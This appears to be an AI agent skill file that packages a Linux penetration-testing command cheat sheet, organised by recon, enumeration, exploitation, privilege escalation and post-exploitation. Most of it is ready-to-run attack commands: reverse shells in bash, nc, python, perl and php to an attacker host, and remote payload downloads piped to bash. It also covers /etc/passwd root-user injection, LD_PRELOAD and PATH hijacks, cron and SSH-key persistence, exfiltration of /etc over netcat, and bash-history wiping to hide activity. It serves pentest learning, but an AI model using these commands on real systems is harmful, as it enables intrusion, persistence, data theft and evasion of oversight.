| name | linux-pentesting-commands |
| description | Practical Linux command reference for penetration testing, reconnaissance, enumeration, exploitation, and privilege escalation. |
| triggers | ["show me Linux commands for pentesting","how do I enumerate services on Linux","what commands help with privilege escalation","help me with Linux reconnaissance commands","show pentesting command examples","how to do post-exploitation on Linux","what are common Linux exploitation techniques","help with Linux security testing commands"] |
Linux Pentesting Commands Skill
Skill by ara.so — Security Skills collection.
This skill provides expertise in using the Linux-for-a-Pentester repository, a curated collection of practical Linux commands for penetration testing. The repository covers reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation phases with real-world command examples.
What This Project Does
Linux-for-a-Pentester is a knowledge base of shell commands organized by penetration testing phases:
- General Commands: Essential Linux survival commands
- Reconnaissance: Local and network discovery
- Enumeration: Service and user data deep-diving
- Exploitation: Initial access techniques
- Privilege Escalation: Getting root access
- Post-Exploitation: Persistence and lateral movement
- Cheatsheets: Quick reference one-liners
Installation
Clone the repository for offline reference:
git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git
cd Linux-for-a-Pentester
Or browse individual module directories as needed during engagements.
Repository Structure
Linux-for-a-Pentester/
├── 00-General-Commands/ # Basic Linux commands
├── 01-Recon/ # Reconnaissance techniques
├── 02-Enumeration/ # Service enumeration
├── 03-Exploitation/ # Exploitation methods
├── 04-Privilege-Escalation/ # PrivEsc techniques
├── 05-Post-Exploitation/ # Post-compromise actions
└── Cheatsheets/ # Quick reference guides
Key Command Categories
General Commands (00-General-Commands)
Essential commands for navigating and managing Linux systems:
uname -a
cat /etc/os-release
hostname
whoami
id
find / -name "*.conf" 2>/dev/null
grep -r "password" /etc 2>/dev/null
ls -la /home
which python python3
ps aux
netstat -tulpn
ss -tulpn
lsof -i :80
Reconnaissance (01-Recon)
Local and network discovery commands:
ip a
ifconfig
ip route
arp -a
cat /etc/hosts
cat /etc/resolv.conf
nc -zv 192.168.1.1 1-1000
for p in {1..1000}; do (echo >/dev/tcp/192.168.1.1/$p) 2>/dev/null && echo "$p open"; done
cat /etc/passwd
cat /etc/group
w
last
lastlog
env
echo $PATH
history
cat ~/.bash_history
Enumeration (02-Enumeration)
Deep service and configuration analysis:
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
getcap -r / 2>/dev/null
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
cat /var/spool/cron/crontabs/* 2>/dev/null
systemctl list-units --type=service
service --status-all
cat /etc/services
dpkg -l
rpm -qa
which gcc g++ python perl
Exploitation (03-Exploitation)
Initial access and shell techniques:
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
nc -e /bin/bash 10.10.10.10 4444
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
wget http://10.10.10.10:8000/exploit.sh
curl http://10.10.10.10:8000/exploit.sh -o exploit.sh
nc -lvp 4444 > received_file
nc 10.10.10.10 4444 < file_to_send
ssh user@target -p 2222
ssh -i id_rsa user@target
ssh -L 8080:localhost:80 user@target
ssh -D 9050 user@target
Privilege Escalation (04-Privilege-Escalation)
Commands for escalating to root:
sudo -l
sudo -u#-1 /bin/bash
uname -a
cat /proc/version
searchsploit kernel 4.4.0
openssl passwd -1 -salt xyz password123
echo 'hacker:$1$xyz$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
echo '/bin/bash' > /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
gcc -fPIC -shared -o /tmp/exploit.so exploit.c -nostartfiles
sudo LD_PRELOAD=/tmp/exploit.so program
showmount -e target
mount -o rw target:/share /mnt
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Post-Exploitation (05-Post-Exploitation)
Persistence and data exfiltration:
mkdir -p ~/.ssh
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
(crontab -l; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'") | crontab -
tar czf - /etc | base64 | nc 10.10.10.10 4444
find /home -name "*.pdf" -exec cp {} /tmp/loot/ \;
cat /home/*/.bash_history | grep -E 'ssh|mysql|password'
grep -r "password=" /var/www 2>/dev/null
find / -name "*.config" -o -name "*.conf" 2>/dev/null | xargs grep -i pass
history -c
rm ~/.bash_history
unset HISTFILE
Common Patterns
Automated Enumeration Scripts
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
wget http://attacker-ip:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
./LinEnum.sh -t
One-Liner Web Server
python3 -m http.server 8000
python -m SimpleHTTPServer 8000
php -S 0.0.0.0:8000
ruby -run -ehttpd . -p8000
File Permission Checks
find / -user www-data 2>/dev/null
find / -nouser 2>/dev/null
find / -mtime -1 -type f 2>/dev/null
find / -mmin -10 -type f 2>/dev/null
Troubleshooting
Command Not Found
Problem: Common tools missing on target system.
Solution: Use alternatives or native shell built-ins:
bash -c 'exec 3<>/dev/tcp/10.10.10.10/4444; cat <&3 & cat >&3; kill $!'
exec 3<>/dev/tcp/attacker-ip/80
echo -e "GET /file HTTP/1.0\n" >&3
cat <&3
Python Not Available
Problem: No Python installed for reverse shells.
Solution: Use other interpreters:
perl -e 'use Socket;$i="10.10.10.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
php -r '$sock=fsockopen("10.10.10.10",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Restricted Shell Escape
Problem: Stuck in restricted shell (rbash).
Solution: Common escape techniques:
ssh user@target -t "bash --noprofile"
python -c 'import os; os.system("/bin/bash")'
vi
:set shell=/bin/bash
:shell
awk 'BEGIN {system("/bin/bash")}'
TTY Shell Issues
Problem: Non-interactive shell without tab completion.
Solution: Upgrade to full TTY:
python -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo; fg
export TERM=xterm
/usr/bin/script -qc /bin/bash /dev/null
expect -c 'spawn /bin/bash; interact'
Best Practices
- Always redirect stderr: Add
2>/dev/null to avoid permission errors cluttering output
- Check alternatives: If modern tools fail, try legacy versions (e.g.,
netstat vs ss)
- Document findings: Keep notes on what works for each target OS/version
- Test safely: Understand command impact before running on production systems
- Use full paths: Avoid PATH hijacking by using
/usr/bin/command instead of command
Integration with Other Tools
These commands complement common pentesting tools:
nmap -sV -p- target -oN scan.txt
cat scan.txt | grep open
nikto -h http://target
gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt
References
Navigate to specific directories in the repository for detailed command lists:
/00-General-Commands/ - Basic Linux operations
/01-Recon/ - Reconnaissance techniques
/02-Enumeration/ - Enumeration commands
/03-Exploitation/ - Exploitation methods
/04-Privilege-Escalation/ - PrivEsc techniques
/05-Post-Exploitation/ - Post-compromise actions
/Cheatsheets/ - Quick reference guides
Repository: https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester